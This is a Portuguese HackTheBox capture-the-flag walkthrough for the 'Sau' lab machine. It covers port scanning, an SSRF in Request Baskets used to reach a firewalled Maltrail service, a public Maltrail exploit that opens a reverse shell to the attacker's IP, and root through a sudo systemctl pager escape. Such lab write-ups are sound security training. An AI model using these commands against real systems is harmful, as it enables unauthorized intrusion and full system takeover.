HackTheBox - Saul - Fácil
CTF - Sau
Enumeração
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali💀kali)-[~/HTB/sau]
└─$ sudo nmap -sS -Pn --stats-every=7s --min-rate 10000 -oA nmap 10.10.11.224 -sV -sC --script "default and vuln" -p 22,80,8338,55555
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-20 01:09 -03
Nmap scan report for 10.10.11.224
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sat, 20 Jan 2024 04:10:08 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Sat, 20 Jan 2024 04:09:39 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Sat, 20 Jan 2024 04:09:39 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.35 seconds
Uma aplicação web rodando na porta 55555
Request Baskets
http://10.10.11.224:55555/
https://github.com/darklynx/request-baskets
Request Baskets é um serviço web que permite coletar e inspecionar solicitações HTTP por meio de uma API ou interface web. Pode ser usado para depurar solicitações
Buscando pela versão achamos o CVE-2023-27163
Vulnerabilidade de SSRF (Server-Side-Request-Forgery)
https://github.com/rvizx/CVE-2023-27163
Testando se a vulnerabilidade funciona.
Clique no botão create
Clique na engrenagem na proxima pagina, adicione IP de sua maquina.
List o netcat na porta 80
nc -lvnp 80
use o curl com a url gerada
curl http://10.10.11.224:55555/tit4njm
Você deve receber um request no netcat do ip do request basket.
1
2
3
4
5
6
7
8
9
10
┌──(kali💀kali)-[~/HTB/sau]
└─$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.26] from (UNKNOWN) [10.10.11.224] 48996
GET / HTTP/1.1
Host: 10.10.14.26
User-Agent: curl/8.5.0
Accept: */*
X-Do-Not-Forward: 1
Accept-Encoding: gzip
Teste ok
Acesso
Editando a basket vou adicionar o endereço http://127.0.0.1:80 para o basket acessar aquela porta filtrada por firewall como mostra no nmap, como ela esta na mesma máquina n deve ter problemas com o firewall.
Vamos marcar a opção Proxy Response, para ele funcionar como um proxy. Expand Foward Path, vai nos trazer todo path da url para o nosso endereço quando acessar.
Basta acessar o endereço basket agora no nosso navegador
Temos esse MailServer rodando na porta 80
Buscando no google por Maltrail (v0.53) encontramos vulnerabilidade de RCE para esta versão
Encontrei esse exploit https://github.com/spookier/Maltrail-v0.53-Exploit Vamos usá-lo.
Reverse Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali💀kali)-[~/HTB/sau]
└─$ git clone https://github.com/spookier/Maltrail-v0.53-Exploit.git
Cloning into 'Maltrail-v0.53-Exploit'...
remote: Enumerating objects: 17, done.
remote: Counting objects: 100% (17/17), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 17 (delta 4), reused 9 (delta 3), pack-reused 0
Receiving objects: 100% (17/17), 4.44 KiB | 216.00 KiB/s, done.
Resolving deltas: 100% (4/4), done.
┌──(kali💀kali)-[~/HTB/sau]
└─$ ls
Maltrail-v0.53-Exploit nmap.gnmap nmap.nmap nmap.xml
┌──(kali💀kali)-[~/HTB/sau]
└─$ cd Maltrail-v0.53-Exploit
┌──(kali💀kali)-[~/HTB/sau/Maltrail-v0.53-Exploit]
└─$ ls
exploit.py README.md
┌──(kali💀kali)-[~/HTB/sau/Maltrail-v0.53-Exploit]
└─$ chmod +x exploit.py
Para usar, o exemplo -> python3 exploit.py 1.2.3.4 1337
http://example.com
Antes list o netcat nc -lvnp 4443
1
2
3
4
┌──(kali💀kali)-[~/HTB/sau/Maltrail-v0.53-Exploit]
└─$ python3 exploit.py 10.10.14.26 4443 http://10.10.11.224:55555/tit4njm
Running exploit on http://10.10.11.224:55555/tit4njm/login
Primeira Flag
Escalação de Privilégio
1
2
3
4
5
6
7
8
9
10
11
puma@sau:/home$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:/home$ /usr/bin/systemctl --version
systemd 245 (245.4-4ubuntu3.22)
+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
Podemos executar sudo apenas no comando /usr/bin/systemctl status trail.service
Nosso sudo é limitado a usar apenas em /usr/bin/systemctl status trail.service
e sem senha. Pesquisando pela versão do systemd (245 ) encontramos sobre o CVE-2023-26604, onde aqui explica sobre.
sudo /usr/bin/systemctl status trail.service
Quando der um prompt de rolagem de pagina apenas digite
!/bin/bash
Recebendo uma shell root =]
Conhecimento adquiridos
- escalação de privilegio com systemctl
- Todos CVE das aplicações
- Sobre existencia do request basket e maltrail
No youtube tem um “passo a passo” com ippsec, vale a pena conferir e ver forma alternativa e bem explicada.